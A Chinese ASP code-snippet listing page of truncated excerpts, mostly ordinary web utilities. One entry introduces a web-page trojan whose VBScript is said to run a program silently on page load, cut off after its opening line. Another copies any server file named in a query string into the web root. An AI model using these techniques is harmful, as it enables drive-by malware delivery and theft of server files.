代码如下:TempSource,TempEnd必须用绝对路径 rootPath=Request.ServerVariables("APPL_PHYSICAL_PATH") ‘获取当前程序绝对路径 Function CopyFiles(TempSource,TempEnd) Dim FSO Set FSO = Server.CreateObject("Scripting.FileSystemObject") IF FSO.FileExists(TempEnd) then Response.Write "目标备份文件 <b>" & TempEnd & "</b> 已存在，请先删除!" Set FSO=Nothing Exit Function End IF...
代码如下:<% Function CopyMyFolder(FolderName,FolderPath) sFolder=server.mappath(FolderName) oFolder=server.mappath(FolderPath) set fso=server.createobject("scripting.filesystemobject") if fso.folderexists(server.mappath(FolderName)) Then'检查原文件夹是否存在 if fso.folderexists(server.mappath(FolderPath)) Then'检查目标文件夹是否存在 fso.copyfolder sFolder,oFolder Else '目标文件夹如果不存...
代码如下:<% response.write "<br>" call server_update("cache") call server_update("session") response.write "<br>虚拟主机重启成功!" sub server_update(byval strt) if strt="" then strt=request.querystring("delete") select case strt case "cache" Application.Lock application.contents.Removeall Application.unLock response.write "Delete Cache Succeed!<br>" case "session" sessi...
显示页面加载时间 重复域中的斑马线 显示字符串前20个字符并在结尾处添加“……” 如果动态图片为空，使用默认图片代替 如果数据为空，使用默认提示信息代替 ●显示页面加载时间 页面顶部添加下面的代码： <% Dim strStartTime Dim strEndTime strStartTime = Timer '开始时间 %> 页面(同一页)的末尾添加： <% ' 加载完毕的时间 strEndTime = Timer Response.Write ("页面加载时间: ") Response.Write FormatNumber(strEndTim...
主题:列出sql服务器上所有库的代码 第一个：dbo权限列出服务器上所有数据库 代码如下:<% Dim srv Dim objDB Set srv = Server.CreateObject("SQLDMO.SQLServer") srv.LoginTimeout = 15 srv.Connect "127.0.0.1", "lcx", "lcx" Set objDB = Server.CreateObject("SQLDMO.Database") %> <SELECT name="fdatabase"> <% For Each objDB In srv.Databases If objDB.SystemObject = False Then %> <OPTION><%=objDB....
原理代码：strFileName = Request.QueryString("file1")Set objStream = Server.CreateObject("ADODB.Stream")objStream.Type = 1 adTypeBinaryobjStream.OpenobjStream.LoadFromFile strFileNameobjStream.SaveToFile Server.mappath("123_onweb.gif"),2使用方法：把上面的代码写成upload.asp在浏览器里面输入：http://XXX/upload.asp?file1=c:\上传文件\123.gif XXX为你的主机地址执行完后你会看到你的目录下面多了一个123_onwe...
＋-----------------＋ ｜淘特ASP木马扫描器｜ ＋-----------------＋ 本程序可以扫描服务器上的所有指定类型(asp,cer,asa,cdx)的文件，查出可疑的木马程序。系统采用扫描程序与病毒库分离的形式， 以后升级只需像杀毒软件那样升级病毒库就可以了。目前可以查杀所有流行的ASP木马程序。 系统提供了全站扫描、按文件夹和指定文件扫描三种扫描方式，如果网站文件比较少的话，推荐使用"全站扫描",如果文件比较多，推荐 使用按...
看过的朋友可帮忙顶哦,这些代码都是第一次发的,外面很多要不就是很复杂,看不懂,要不就是不能用的,下面的我写时候已经尽量简洁明了 外面很多所谓sitemap生成代码都只生成目录文件地址,没生成动态的,我后来自己写了这个,是支持动态的,例子: 如你是文章网站,文章有2000条,那你修改下对应你的文章数据表,即可生成除了所有目录文件外,还生成你的动态2000条地址,绝对的没话说,生成速度非常快 把下面代码保存为sitemap.asp文件,修改我已注...
以网上down了一个ASP动态生成Form验证javascript的代码，自己扩容了一下。作者的大名我给忘了，不过我记得清楚，从第一条至第九条的代码都是该作者的原创。至于九至第十五条却是本人自己加的哦。而且由于本人水平有限，从第九条至第十五条不见得会条条生效啊？呵呵，其实把它贴在这里没有什么必要的，因为这点小会伎俩谁都会用的，我把它的作用定位为：开发时找不到该函数时到这里拷贝一下就可以了。呵，因为我即没有刻录机也没有移...
代码如下:<%@ Language = VBSCRIPT %> <% Option Explicit %> <% rem 在asp中通过getrows实现数据库记录分页的一段代码 Dim iStart, iOffset iStart = Request("Start") iOffset = Request("Offset") if Not IsNumeric(iStart) or Len(iStart) = 0 then iStart = 0 else iStart = CInt(iStart) end if if Not IsNumeric(iOffset) or Len(iOffset) = 0 then iOffset = 30 else iOff...
代码如下:<% Class cBuffer Private objFSO, objFile, objDict Private m_strPathToFile, m_TableBGColor, m_StartTime Private m_EndTime, m_LineCount, m_intKeyMin, m_intKeyMax Private m_CodeColor, m_CommentColor, m_StringColor, m_TabSpaces Private Sub Class_Initialize() TableBGColor = "white" CodeColor = "Blue" CommentColor = "Green" StringColor = "Gray" TabSpaces = " " PathToFile = "" m_StartTime = 0 m_...
对于经常上网冲浪的朋友对于网页木马一定不会陌生，打开某个网站，莫名其妙的运行了某个木马，虽然在"Internet选项"里有"安全"设置，但是下面的代码就不会弹出任何信息就直接运行了程序，不信，follow me! (提示: 只是了解一下技术和方法，千万别搞破坏，yexj00.exe是一个windows2000 漏洞扫描器和查漏补缺用的，不是病毒或木马，放心运行。) 代码如下:<script language="VBScript"> on error resume next dl = "<a href=...
Asp中对ip进行过滤限制函数 <% '获取访问者的地址 ip=Request.ServerVariables("REMOTE_ADDR") '允许的IP地址段为10.0.0.0～10.68.63.255 allowip1="10.0.0.0" allowip2="10.68.10.71" response.write checkip(ip,allowip1,allowip2) function checkip(ip,allowip1,allowip2) dim check(4) checkip=false ipstr=split(ip,".") allow1=split(allowip1,".") allow2=split(allowip2,".") if cint(allow1(0))>cint(allow2(0)) then '判...
发现好多asp的系统在调用文章的时候如果不生成静态,输出的都是类似 http://www.gxlsystem.com/show.asp?id=26 这种格式的. 如果可以换成 http://www.gxlsystem.com/show/?26 这种格式,感觉清减了不少,当然对于支持伪静态的空间 还可以设置成 http://www.gxlsystem.com/show/26 据说着杨可以增加搜索引擎收录的几率. 代码如下:首先建立一个show目录,建立一个index.asp文件,就是系统默认的那个文件 然后把以前如果是 show.asp?id=26 ...
<%@LANGUAGE="VBSCRIPT" CODEPAGE="936"%> <% dim st st=timer() '************************************************************* '*************搜索硬盘文件的类SearchFile ************* '*************调用方法: ************* '*************Set newsearch=new SearchFile '声明 ************* '*************newsearch.Folder="F:+E:"'传入搜索源************* '*************newsearch.keyword="汇编" '关键词********...